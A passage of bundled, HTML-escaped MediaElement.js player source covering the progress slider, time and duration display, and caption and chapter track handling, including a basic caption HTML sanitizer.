					t.setCurrentTime(seekTime);
				}, 0);

				if (seekTime &lt; t.getDuration() &amp;&amp; !startedPaused) {
					setTimeout(restartPlayer, 1100);
				}

				player.showControls();

				e.preventDefault();
				e.stopPropagation();
			}
		});

		var events = [&#039;mousedown&#039;, &#039;touchstart&#039;];

		t.slider.addEventListener(&#039;dragstart&#039;, function () {
			return false;
		});

		for (var i = 0, total = events.length; i &lt; total; i++) {
			t.slider.addEventListener(events[i], function (e) {
				t.forcedHandlePause = false;
				if (t.getDuration() !== Infinity) {
					if (e.which === 1 || e.which === 0) {
						if (!t.paused) {
							t.pause();
							t.forcedHandlePause = true;
						}

						mouseIsDown = true;
						handleMouseMove(e);
						var endEvents = [&#039;mouseup&#039;, &#039;touchend&#039;];

						for (var j = 0, totalEvents = endEvents.length; j &lt; totalEvents; j++) {
							t.getElement(t.container).addEventListener(endEvents[j], function (event) {
								var target = event.target;
								if (target === t.slider || target.closest(&#039;.&#039; + t.options.classPrefix + &#039;time-slider&#039;)) {
									handleMouseMove(event);
								}
							});
						}
						t.globalBind(&#039;mouseup.dur touchend.dur&#039;, function () {
							handleMouseup();
							mouseIsDown = false;
							if (t.timefloat) {
								t.timefloat.style.display = &#039;none&#039;;
							}
						});
					}
				}
			}, _constants.SUPPORT_PASSIVE_EVENT &amp;&amp; events[i] === &#039;touchstart&#039; ? { passive: true } : false);
		}
		t.slider.addEventListener(&#039;mouseenter&#039;, function (e) {
			if (e.target === t.slider &amp;&amp; t.getDuration() !== Infinity) {
				t.getElement(t.container).addEventListener(&#039;mousemove&#039;, function (event) {
					var target = event.target;
					if (target === t.slider || target.closest(&#039;.&#039; + t.options.classPrefix + &#039;time-slider&#039;)) {
						handleMouseMove(event);
					}
				});
				if (t.timefloat &amp;&amp; !_constants.IS_IOS &amp;&amp; !_constants.IS_ANDROID) {
					t.timefloat.style.display = &#039;block&#039;;
				}
				if (t.hovered &amp;&amp; !_constants.IS_IOS &amp;&amp; !_constants.IS_ANDROID &amp;&amp; t.options.useSmoothHover) {
					(0, _dom.removeClass)(t.hovered, &#039;no-hover&#039;);
				}
			}
		});
		t.slider.addEventListener(&#039;mouseleave&#039;, function () {
			if (t.getDuration() !== Infinity) {
				if (!mouseIsDown) {
					if (t.timefloat) {
						t.timefloat.style.display = &#039;none&#039;;
					}
					if (t.hovered &amp;&amp; t.options.useSmoothHover) {
						(0, _dom.addClass)(t.hovered, &#039;no-hover&#039;);
					}
				}
			}
		});

		t.broadcastCallback = function (e) {
			var broadcast = controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;broadcast&#039;);
			if (!t.options.forceLive &amp;&amp; t.getDuration() !== Infinity) {
				if (broadcast) {
					t.slider.style.display = &#039;&#039;;
					broadcast.remove();
				}

				player.setProgressRail(e);
				if (!t.forcedHandlePause) {
					player.setCurrentRail(e);
				}
				updateSlider();
			} else if (!broadcast &amp;&amp; t.options.forceLive) {
				var label = _document2.default.createElement(&#039;span&#039;);
				label.className = t.options.classPrefix + &#039;broadcast&#039;;
				label.innerText = _i18n2.default.t(&#039;mejs.live-broadcast&#039;);
				t.slider.style.display = &#039;none&#039;;
				t.rail.appendChild(label);
			}
		};

		media.addEventListener(&#039;progress&#039;, t.broadcastCallback);
		media.addEventListener(&#039;timeupdate&#039;, t.broadcastCallback);
		media.addEventListener(&#039;play&#039;, function () {
			t.buffer.style.display = &#039;none&#039;;
		});
		media.addEventListener(&#039;playing&#039;, function () {
			t.buffer.style.display = &#039;none&#039;;
		});
		media.addEventListener(&#039;seeking&#039;, function () {
			t.buffer.style.display = &#039;&#039;;
		});
		media.addEventListener(&#039;seeked&#039;, function () {
			t.buffer.style.display = &#039;none&#039;;
		});
		media.addEventListener(&#039;pause&#039;, function () {
			t.buffer.style.display = &#039;none&#039;;
		});
		media.addEventListener(&#039;waiting&#039;, function () {
			t.buffer.style.display = &#039;&#039;;
		});
		media.addEventListener(&#039;loadeddata&#039;, function () {
			t.buffer.style.display = &#039;&#039;;
		});
		media.addEventListener(&#039;canplay&#039;, function () {
			t.buffer.style.display = &#039;none&#039;;
		});
		media.addEventListener(&#039;error&#039;, function () {
			t.buffer.style.display = &#039;none&#039;;
		});

		t.getElement(t.container).addEventListener(&#039;controlsresize&#039;, function (e) {
			if (t.getDuration() !== Infinity) {
				player.setProgressRail(e);
				if (!t.forcedHandlePause) {
					player.setCurrentRail(e);
				}
			}
		});
	},
	cleanprogress: function cleanprogress(player, controls, layers, media) {
		media.removeEventListener(&#039;progress&#039;, player.broadcastCallback);
		media.removeEventListener(&#039;timeupdate&#039;, player.broadcastCallback);
		if (player.rail) {
			player.rail.remove();
		}
	},
	setProgressRail: function setProgressRail(e) {
		var t = this,
		    target = e !== undefined ? e.detail.target || e.target : t.media;

		var percent = null;

		if (target &amp;&amp; target.buffered &amp;&amp; target.buffered.length &gt; 0 &amp;&amp; target.buffered.end &amp;&amp; t.getDuration()) {
			percent = target.buffered.end(target.buffered.length - 1) / t.getDuration();
		} else if (target &amp;&amp; target.bytesTotal !== undefined &amp;&amp; target.bytesTotal &gt; 0 &amp;&amp; target.bufferedBytes !== undefined) {
				percent = target.bufferedBytes / target.bytesTotal;
			} else if (e &amp;&amp; e.lengthComputable &amp;&amp; e.total !== 0) {
					percent = e.loaded / e.total;
				}

		if (percent !== null) {
			percent = Math.min(1, Math.max(0, percent));

			if (t.loaded) {
				t.setTransformStyle(t.loaded, &#039;scaleX(&#039; + percent + &#039;)&#039;);
			}
		}
	},
	setCurrentRailHandle: function setCurrentRailHandle(fakeTime) {
		var t = this;
		t.setCurrentRailMain(t, fakeTime);
	},
	setCurrentRail: function setCurrentRail() {
		var t = this;
		t.setCurrentRailMain(t);
	},
	setCurrentRailMain: function setCurrentRailMain(t, fakeTime) {
		if (t.getCurrentTime() !== undefined &amp;&amp; t.getDuration()) {
			var nTime = typeof fakeTime === &#039;undefined&#039; ? t.getCurrentTime() : fakeTime;

			if (t.total &amp;&amp; t.handle) {
				var tW = parseFloat(getComputedStyle(t.total).width);

				var newWidth = Math.round(tW * nTime / t.getDuration()),
				    handlePos = newWidth - Math.round(t.handle.offsetWidth / 2);

				handlePos = handlePos &lt; 0 ? 0 : handlePos;
				t.setTransformStyle(t.current, &#039;scaleX(&#039; + newWidth / tW + &#039;)&#039;);
				t.setTransformStyle(t.handle, &#039;translateX(&#039; + handlePos + &#039;px)&#039;);

				if (t.options.useSmoothHover &amp;&amp; !(0, _dom.hasClass)(t.hovered, &#039;no-hover&#039;)) {
					var pos = parseInt(t.hovered.getAttribute(&#039;pos&#039;), 10);
					pos = isNaN(pos) ? 0 : pos;

					var hoverScaleX = pos / tW - handlePos / tW;

					t.hovered.style.left = handlePos + &#039;px&#039;;
					t.setTransformStyle(t.hovered, &#039;scaleX(&#039; + hoverScaleX + &#039;)&#039;);

					if (hoverScaleX &gt;= 0) {
						(0, _dom.removeClass)(t.hovered, &#039;negative&#039;);
					} else {
						(0, _dom.addClass)(t.hovered, &#039;negative&#039;);
					}
				}
			}
		}
	}
});

},{&quot;16&quot;:16,&quot;2&quot;:2,&quot;25&quot;:25,&quot;26&quot;:26,&quot;30&quot;:30,&quot;5&quot;:5}],12:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _player = _dereq_(16);

var _player2 = _interopRequireDefault(_player);

var _time = _dereq_(30);

var _dom = _dereq_(26);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

Object.assign(_player.config, {
	duration: 0,

	timeAndDurationSeparator: &#039;&lt;span&gt; | &lt;/span&gt;&#039;
});

Object.assign(_player2.default.prototype, {
	buildcurrent: function buildcurrent(player, controls, layers, media) {
		var t = this,
		    time = _document2.default.createElement(&#039;div&#039;);

		time.className = t.options.classPrefix + &#039;time&#039;;
		time.setAttribute(&#039;role&#039;, &#039;timer&#039;);
		time.setAttribute(&#039;aria-live&#039;, &#039;off&#039;);
		time.innerHTML = &#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;currenttime&quot;&gt;&#039; + (0, _time.secondsToTimeCode)(0, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat) + &#039;&lt;/span&gt;&#039;;

		t.addControlElement(time, &#039;current&#039;);
		player.updateCurrent();
		t.updateTimeCallback = function () {
			if (t.controlsAreVisible) {
				player.updateCurrent();
			}
		};
		media.addEventListener(&#039;timeupdate&#039;, t.updateTimeCallback);
	},
	cleancurrent: function cleancurrent(player, controls, layers, media) {
		media.removeEventListener(&#039;timeupdate&#039;, player.updateTimeCallback);
	},
	buildduration: function buildduration(player, controls, layers, media) {
		var t = this,
		    currTime = controls.lastChild.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;currenttime&#039;);

		if (currTime) {
			controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;time&#039;).innerHTML += t.options.timeAndDurationSeparator + &#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;duration&quot;&gt;&#039; + ((0, _time.secondsToTimeCode)(t.options.duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat) + &#039;&lt;/span&gt;&#039;);
		} else {
			if (controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;currenttime&#039;)) {
				(0, _dom.addClass)(controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;currenttime&#039;).parentNode, t.options.classPrefix + &#039;currenttime-container&#039;);
			}

			var duration = _document2.default.createElement(&#039;div&#039;);
			duration.className = t.options.classPrefix + &#039;time &#039; + t.options.classPrefix + &#039;duration-container&#039;;
			duration.innerHTML = &#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;duration&quot;&gt;&#039; + ((0, _time.secondsToTimeCode)(t.options.duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat) + &#039;&lt;/span&gt;&#039;);

			t.addControlElement(duration, &#039;duration&#039;);
		}

		t.updateDurationCallback = function () {
			if (t.controlsAreVisible) {
				player.updateDuration();
			}
		};

		media.addEventListener(&#039;timeupdate&#039;, t.updateDurationCallback);
	},
	cleanduration: function cleanduration(player, controls, layers, media) {
		media.removeEventListener(&#039;timeupdate&#039;, player.updateDurationCallback);
	},
	updateCurrent: function updateCurrent() {
		var t = this;

		var currentTime = t.getCurrentTime();

		if (isNaN(currentTime)) {
			currentTime = 0;
		}

		var timecode = (0, _time.secondsToTimeCode)(currentTime, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat);

		if (timecode.length &gt; 5) {
			(0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + &#039;long-video&#039;);
		} else {
			(0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + &#039;long-video&#039;);
		}

		if (t.getElement(t.controls).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;currenttime&#039;)) {
			t.getElement(t.controls).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;currenttime&#039;).innerText = timecode;
		}
	},
	updateDuration: function updateDuration() {
		var t = this;

		var duration = t.getDuration();

		if (t.media !== undefined &amp;&amp; (isNaN(duration) || duration === Infinity || duration &lt; 0)) {
			t.media.duration = t.options.duration = duration = 0;
		}

		if (t.options.duration &gt; 0) {
			duration = t.options.duration;
		}

		var timecode = (0, _time.secondsToTimeCode)(duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat);

		if (timecode.length &gt; 5) {
			(0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + &#039;long-video&#039;);
		} else {
			(0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + &#039;long-video&#039;);
		}

		if (t.getElement(t.controls).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;duration&#039;) &amp;&amp; duration &gt; 0) {
			t.getElement(t.controls).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;duration&#039;).innerHTML = timecode;
		}
	}
});

},{&quot;16&quot;:16,&quot;2&quot;:2,&quot;26&quot;:26,&quot;30&quot;:30}],13:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _i18n = _dereq_(5);

var _i18n2 = _interopRequireDefault(_i18n);

var _player = _dereq_(16);

var _player2 = _interopRequireDefault(_player);

var _time = _dereq_(30);

var _general = _dereq_(27);

var _dom = _dereq_(26);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

Object.assign(_player.config, {
	startLanguage: &#039;&#039;,

	tracksText: null,

	chaptersText: null,

	tracksAriaLive: false,

	hideCaptionsButtonWhenEmpty: true,

	toggleCaptionsButtonWhenOnlyOne: false,

	slidesSelector: &#039;&#039;
});

Object.assign(_player2.default.prototype, {
	hasChapters: false,

	buildtracks: function buildtracks(player, controls, layers, media) {

		this.findTracks();

		if (!player.tracks.length &amp;&amp; (!player.trackFiles || !player.trackFiles.length === 0)) {
			return;
		}

		var t = this,
		    attr = t.options.tracksAriaLive ? &#039; role=&quot;log&quot; aria-live=&quot;assertive&quot; aria-atomic=&quot;false&quot;&#039; : &#039;&#039;,
		    tracksTitle = (0, _general.isString)(t.options.tracksText) ? t.options.tracksText : _i18n2.default.t(&#039;mejs.captions-subtitles&#039;),
		    chaptersTitle = (0, _general.isString)(t.options.chaptersText) ? t.options.chaptersText : _i18n2.default.t(&#039;mejs.captions-chapters&#039;),
		    total = player.trackFiles === null ? player.tracks.length : player.trackFiles.length;

		if (t.domNode.textTracks) {
			for (var i = t.domNode.textTracks.length - 1; i &gt;= 0; i--) {
				t.domNode.textTracks[i].mode = &#039;hidden&#039;;
			}
		}

		t.cleartracks(player);

		player.captions = _document2.default.createElement(&#039;div&#039;);
		player.captions.className = t.options.classPrefix + &#039;captions-layer &#039; + t.options.classPrefix + &#039;layer&#039;;
		player.captions.innerHTML = &#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;captions-position &#039; + t.options.classPrefix + &#039;captions-position-hover&quot;&#039; + attr + &#039;&gt;&#039; + (&#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;captions-text&quot;&gt;&lt;/span&gt;&#039;) + &#039;&lt;/div&gt;&#039;;
		player.captions.style.display = &#039;none&#039;;
		layers.insertBefore(player.captions, layers.firstChild);

		player.captionsText = player.captions.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-text&#039;);

		player.captionsButton = _document2.default.createElement(&#039;div&#039;);
		player.captionsButton.className = t.options.classPrefix + &#039;button &#039; + t.options.classPrefix + &#039;captions-button&#039;;
		player.captionsButton.innerHTML = &#039;&lt;button type=&quot;button&quot; aria-controls=&quot;&#039; + t.id + &#039;&quot; title=&quot;&#039; + tracksTitle + &#039;&quot; aria-label=&quot;&#039; + tracksTitle + &#039;&quot; tabindex=&quot;0&quot;&gt;&lt;/button&gt;&#039; + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;captions-selector &#039; + t.options.classPrefix + &#039;offscreen&quot;&gt;&#039;) + (&#039;&lt;ul class=&quot;&#039; + t.options.classPrefix + &#039;captions-selector-list&quot;&gt;&#039;) + (&#039;&lt;li class=&quot;&#039; + t.options.classPrefix + &#039;captions-selector-list-item&quot;&gt;&#039;) + (&#039;&lt;input type=&quot;radio&quot; class=&quot;&#039; + t.options.classPrefix + &#039;captions-selector-input&quot; &#039;) + (&#039;name=&quot;&#039; + player.id + &#039;_captions&quot; id=&quot;&#039; + player.id + &#039;_captions_none&quot; &#039;) + &#039;value=&quot;none&quot; checked disabled&gt;&#039; + (&#039;&lt;label class=&quot;&#039; + t.options.classPrefix + &#039;captions-selector-label &#039;) + (t.options.classPrefix + &#039;captions-selected&quot; &#039;) + (&#039;for=&quot;&#039; + player.id + &#039;_captions_none&quot;&gt;&#039; + _i18n2.default.t(&#039;mejs.none&#039;) + &#039;&lt;/label&gt;&#039;) + &#039;&lt;/li&gt;&#039; + &#039;&lt;/ul&gt;&#039; + &#039;&lt;/div&gt;&#039;;

		t.addControlElement(player.captionsButton, &#039;tracks&#039;);

		player.captionsButton.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-selector-input&#039;).disabled = false;

		player.chaptersButton = _document2.default.createElement(&#039;div&#039;);
		player.chaptersButton.className = t.options.classPrefix + &#039;button &#039; + t.options.classPrefix + &#039;chapters-button&#039;;
		player.chaptersButton.innerHTML = &#039;&lt;button type=&quot;button&quot; aria-controls=&quot;&#039; + t.id + &#039;&quot; title=&quot;&#039; + chaptersTitle + &#039;&quot; aria-label=&quot;&#039; + chaptersTitle + &#039;&quot; tabindex=&quot;0&quot;&gt;&lt;/button&gt;&#039; + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;chapters-selector &#039; + t.options.classPrefix + &#039;offscreen&quot;&gt;&#039;) + (&#039;&lt;ul class=&quot;&#039; + t.options.classPrefix + &#039;chapters-selector-list&quot;&gt;&lt;/ul&gt;&#039;) + &#039;&lt;/div&gt;&#039;;

		var subtitleCount = 0;

		for (var _i = 0; _i &lt; total; _i++) {
			var kind = player.tracks[_i].kind,
			    src = player.tracks[_i].src;
			if (src.trim()) {
				if (kind === &#039;subtitles&#039; || kind === &#039;captions&#039;) {
					subtitleCount++;
				} else if (kind === &#039;chapters&#039; &amp;&amp; !controls.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;chapter-selector&#039;)) {
					player.captionsButton.parentNode.insertBefore(player.chaptersButton, player.captionsButton);
				}
			}
		}

		player.trackToLoad = -1;
		player.selectedTrack = null;
		player.isLoadingTrack = false;

		for (var _i2 = 0; _i2 &lt; total; _i2++) {
			var _kind = player.tracks[_i2].kind;
			if (player.tracks[_i2].src.trim() &amp;&amp; (_kind === &#039;subtitles&#039; || _kind === &#039;captions&#039;)) {
				player.addTrackButton(player.tracks[_i2].trackId, player.tracks[_i2].srclang, player.tracks[_i2].label);
			}
		}

		player.loadNextTrack();

		var inEvents = [&#039;mouseenter&#039;, &#039;focusin&#039;],
		    outEvents = [&#039;mouseleave&#039;, &#039;focusout&#039;];

		if (t.options.toggleCaptionsButtonWhenOnlyOne &amp;&amp; subtitleCount === 1) {
			player.captionsButton.addEventListener(&#039;click&#039;, function (e) {
				var trackId = &#039;none&#039;;
				if (player.selectedTrack === null) {
					trackId = player.tracks[0].trackId;
				}
				var keyboard = e.keyCode || e.which;
				player.setTrack(trackId, typeof keyboard !== &#039;undefined&#039;);
			});
		} else {
			var labels = player.captionsButton.querySelectorAll(&#039;.&#039; + t.options.classPrefix + &#039;captions-selector-label&#039;),
			    captions = player.captionsButton.querySelectorAll(&#039;input[type=radio]&#039;);

			for (var _i3 = 0, _total = inEvents.length; _i3 &lt; _total; _i3++) {
				player.captionsButton.addEventListener(inEvents[_i3], function () {
					(0, _dom.removeClass)(this.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-selector&#039;), t.options.classPrefix + &#039;offscreen&#039;);
				});
			}

			for (var _i4 = 0, _total2 = outEvents.length; _i4 &lt; _total2; _i4++) {
				player.captionsButton.addEventListener(outEvents[_i4], function () {
					(0, _dom.addClass)(this.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-selector&#039;), t.options.classPrefix + &#039;offscreen&#039;);
				});
			}

			for (var _i5 = 0, _total3 = captions.length; _i5 &lt; _total3; _i5++) {
				captions[_i5].addEventListener(&#039;click&#039;, function (e) {
					var keyboard = e.keyCode || e.which;
					player.setTrack(this.value, typeof keyboard !== &#039;undefined&#039;);
				});
			}

			for (var _i6 = 0, _total4 = labels.length; _i6 &lt; _total4; _i6++) {
				labels[_i6].addEventListener(&#039;click&#039;, function (e) {
					var radio = (0, _dom.siblings)(this, function (el) {
						return el.tagName === &#039;INPUT&#039;;
					})[0],
					    event = (0, _general.createEvent)(&#039;click&#039;, radio);
					radio.dispatchEvent(event);
					e.preventDefault();
				});
			}

			player.captionsButton.addEventListener(&#039;keydown&#039;, function (e) {
				e.stopPropagation();
			});
		}

		for (var _i7 = 0, _total5 = inEvents.length; _i7 &lt; _total5; _i7++) {
			player.chaptersButton.addEventListener(inEvents[_i7], function () {
				if (this.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;chapters-selector-list&#039;).children.length) {
					(0, _dom.removeClass)(this.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;chapters-selector&#039;), t.options.classPrefix + &#039;offscreen&#039;);
				}
			});
		}

		for (var _i8 = 0, _total6 = outEvents.length; _i8 &lt; _total6; _i8++) {
			player.chaptersButton.addEventListener(outEvents[_i8], function () {
				(0, _dom.addClass)(this.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;chapters-selector&#039;), t.options.classPrefix + &#039;offscreen&#039;);
			});
		}

		player.chaptersButton.addEventListener(&#039;keydown&#039;, function (e) {
			e.stopPropagation();
		});

		if (!player.options.alwaysShowControls) {
			player.getElement(player.container).addEventListener(&#039;controlsshown&#039;, function () {
				(0, _dom.addClass)(player.getElement(player.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-position&#039;), t.options.classPrefix + &#039;captions-position-hover&#039;);
			});

			player.getElement(player.container).addEventListener(&#039;controlshidden&#039;, function () {
				if (!media.paused) {
					(0, _dom.removeClass)(player.getElement(player.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-position&#039;), t.options.classPrefix + &#039;captions-position-hover&#039;);
				}
			});
		} else {
			(0, _dom.addClass)(player.getElement(player.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;captions-position&#039;), t.options.classPrefix + &#039;captions-position-hover&#039;);
		}

		media.addEventListener(&#039;timeupdate&#039;, function () {
			player.displayCaptions();
		});

		if (player.options.slidesSelector !== &#039;&#039;) {
			player.slidesContainer = _document2.default.querySelectorAll(player.options.slidesSelector);

			media.addEventListener(&#039;timeupdate&#039;, function () {
				player.displaySlides();
			});
		}
	},
	cleartracks: function cleartracks(player) {
		if (player) {
			if (player.captions) {
				player.captions.remove();
			}
			if (player.chapters) {
				player.chapters.remove();
			}
			if (player.captionsText) {
				player.captionsText.remove();
			}
			if (player.captionsButton) {
				player.captionsButton.remove();
			}
			if (player.chaptersButton) {
				player.chaptersButton.remove();
			}
		}
	},
	rebuildtracks: function rebuildtracks() {
		var t = this;
		t.findTracks();
		t.buildtracks(t, t.getElement(t.controls), t.getElement(t.layers), t.media);
	},
	findTracks: function findTracks() {
		var t = this,
		    tracktags = t.trackFiles === null ? t.node.querySelectorAll(&#039;track&#039;) : t.trackFiles,
		    total = tracktags.length;

		t.tracks = [];
		for (var i = 0; i &lt; total; i++) {
			var track = tracktags[i],
			    srclang = track.getAttribute(&#039;srclang&#039;).toLowerCase() || &#039;&#039;,
			    trackId = t.id + &#039;_track_&#039; + i + &#039;_&#039; + track.getAttribute(&#039;kind&#039;) + &#039;_&#039; + srclang;
			t.tracks.push({
				trackId: trackId,
				srclang: srclang,
				src: track.getAttribute(&#039;src&#039;),
				kind: track.getAttribute(&#039;kind&#039;),
				label: track.getAttribute(&#039;label&#039;) || &#039;&#039;,
				entries: [],
				isLoaded: false
			});
		}
	},
	setTrack: function setTrack(trackId, setByKeyboard) {

		var t = this,
		    radios = t.captionsButton.querySelectorAll(&#039;input[type=&quot;radio&quot;]&#039;),
		    captions = t.captionsButton.querySelectorAll(&#039;.&#039; + t.options.classPrefix + &#039;captions-selected&#039;),
		    track = t.captionsButton.querySelector(&#039;input[value=&quot;&#039; + trackId + &#039;&quot;]&#039;);

		for (var i = 0, total = radios.length; i &lt; total; i++) {
			radios[i].checked = false;
		}

		for (var _i9 = 0, _total7 = captions.length; _i9 &lt; _total7; _i9++) {
			(0, _dom.removeClass)(captions[_i9], t.options.classPrefix + &#039;captions-selected&#039;);
		}

		track.checked = true;
		var labels = (0, _dom.siblings)(track, function (el) {
			return (0, _dom.hasClass)(el, t.options.classPrefix + &#039;captions-selector-label&#039;);
		});
		for (var _i10 = 0, _total8 = labels.length; _i10 &lt; _total8; _i10++) {
			(0, _dom.addClass)(labels[_i10], t.options.classPrefix + &#039;captions-selected&#039;);
		}

		if (trackId === &#039;none&#039;) {
			t.selectedTrack = null;
			(0, _dom.removeClass)(t.captionsButton, t.options.classPrefix + &#039;captions-enabled&#039;);
		} else {
			for (var _i11 = 0, _total9 = t.tracks.length; _i11 &lt; _total9; _i11++) {
				var _track = t.tracks[_i11];
				if (_track.trackId === trackId) {
					if (t.selectedTrack === null) {
						(0, _dom.addClass)(t.captionsButton, t.options.classPrefix + &#039;captions-enabled&#039;);
					}
					t.selectedTrack = _track;
					t.captions.setAttribute(&#039;lang&#039;, t.selectedTrack.srclang);
					t.displayCaptions();
					break;
				}
			}
		}

		var event = (0, _general.createEvent)(&#039;captionschange&#039;, t.media);
		event.detail.caption = t.selectedTrack;
		t.media.dispatchEvent(event);

		if (!setByKeyboard) {
			setTimeout(function () {
				t.getElement(t.container).focus();
			}, 500);
		}
	},
	loadNextTrack: function loadNextTrack() {
		var t = this;

		t.trackToLoad++;
		if (t.trackToLoad &lt; t.tracks.length) {
			t.isLoadingTrack = true;
			t.loadTrack(t.trackToLoad);
		} else {
			t.isLoadingTrack = false;
			t.checkForTracks();
		}
	},
	loadTrack: function loadTrack(index) {
		var t = this,
		    track = t.tracks[index];

		if (track !== undefined &amp;&amp; (track.src !== undefined || track.src !== &quot;&quot;)) {
			(0, _dom.ajax)(track.src, &#039;text&#039;, function (d) {
				track.entries = typeof d === &#039;string&#039; &amp;&amp; /&lt;tt\s+xml/ig.exec(d) ? _mejs2.default.TrackFormatParser.dfxp.parse(d) : _mejs2.default.TrackFormatParser.webvtt.parse(d);

				track.isLoaded = true;
				t.enableTrackButton(track);
				t.loadNextTrack();

				if (track.kind === &#039;slides&#039;) {
					t.setupSlides(track);
				} else if (track.kind === &#039;chapters&#039; &amp;&amp; !t.hasChapters) {
						t.drawChapters(track);
						t.hasChapters = true;
					}
			}, function () {
				t.removeTrackButton(track.trackId);
				t.loadNextTrack();
			});
		}
	},
	enableTrackButton: function enableTrackButton(track) {
		var t = this,
		    lang = track.srclang,
		    target = _document2.default.getElementById(&#039;&#039; + track.trackId);

		if (!target) {
			return;
		}

		var label = track.label;

		if (label === &#039;&#039;) {
			label = _i18n2.default.t(_mejs2.default.language.codes[lang]) || lang;
		}
		target.disabled = false;
		var targetSiblings = (0, _dom.siblings)(target, function (el) {
			return (0, _dom.hasClass)(el, t.options.classPrefix + &#039;captions-selector-label&#039;);
		});
		for (var i = 0, total = targetSiblings.length; i &lt; total; i++) {
			targetSiblings[i].innerHTML = label;
		}

		if (t.options.startLanguage === lang) {
			target.checked = true;
			var event = (0, _general.createEvent)(&#039;click&#039;, target);
			target.dispatchEvent(event);
		}
	},
	removeTrackButton: function removeTrackButton(trackId) {
		var element = _document2.default.getElementById(&#039;&#039; + trackId);
		if (element) {
			var button = element.closest(&#039;li&#039;);
			if (button) {
				button.remove();
			}
		}
	},
	addTrackButton: function addTrackButton(trackId, lang, label) {
		var t = this;
		if (label === &#039;&#039;) {
			label = _i18n2.default.t(_mejs2.default.language.codes[lang]) || lang;
		}

		t.captionsButton.querySelector(&#039;ul&#039;).innerHTML += &#039;&lt;li class=&quot;&#039; + t.options.classPrefix + &#039;captions-selector-list-item&quot;&gt;&#039; + (&#039;&lt;input type=&quot;radio&quot; class=&quot;&#039; + t.options.classPrefix + &#039;captions-selector-input&quot; &#039;) + (&#039;name=&quot;&#039; + t.id + &#039;_captions&quot; id=&quot;&#039; + trackId + &#039;&quot; value=&quot;&#039; + trackId + &#039;&quot; disabled&gt;&#039;) + (&#039;&lt;label class=&quot;&#039; + t.options.classPrefix + &#039;captions-selector-label&quot;&#039;) + (&#039;for=&quot;&#039; + trackId + &#039;&quot;&gt;&#039; + label + &#039; (loading)&lt;/label&gt;&#039;) + &#039;&lt;/li&gt;&#039;;
	},
	checkForTracks: function checkForTracks() {
		var t = this;

		var hasSubtitles = false;

		if (t.options.hideCaptionsButtonWhenEmpty) {
			for (var i = 0, total = t.tracks.length; i &lt; total; i++) {
				var kind = t.tracks[i].kind;
				if ((kind === &#039;subtitles&#039; || kind === &#039;captions&#039;) &amp;&amp; t.tracks[i].isLoaded) {
					hasSubtitles = true;
					break;
				}
			}

			t.captionsButton.style.display = hasSubtitles ? &#039;&#039; : &#039;none&#039;;
			t.setControlsSize();
		}
	},
	displayCaptions: function displayCaptions() {
		if (this.tracks === undefined) {
			return;
		}

		var t = this,
		    track = t.selectedTrack,
		    sanitize = function sanitize(html) {
			var div = _document2.default.createElement(&#039;div&#039;);
			div.innerHTML = html;

			var scripts = div.getElementsByTagName(&#039;script&#039;);
			var i = scripts.length;
			while (i--) {
				scripts[i].remove();
			}

			var allElements = div.getElementsByTagName(&#039;*&#039;);
			for (var _i12 = 0, n = allElements.length; _i12 &lt; n; _i12++) {
				var attributesObj = allElements[_i12].attributes,
				    attributes = Array.prototype.slice.call(attributesObj);

				for (var j = 0, total = attributes.length; j &lt; total; j++) {
					if (attributes[j].name.startsWith(&#039;on&#039;) || attributes[j].value.startsWith(&#039;javascript&#039;)) {
						allElements[_i12].remove();
					} else if (attributes[j].name === &#039;style&#039;) {
						allElements[_i12].removeAttribute(attributes[j].name);
					}
				}
			}
			return div.innerHTML;
		};

		if (track !== null &amp;&amp; track.isLoaded) {
			var i = t.searchTrackPosition(track.entries, t.media.currentTime);
			if (i &gt; -1) {
				var text = track.entries[i].text;
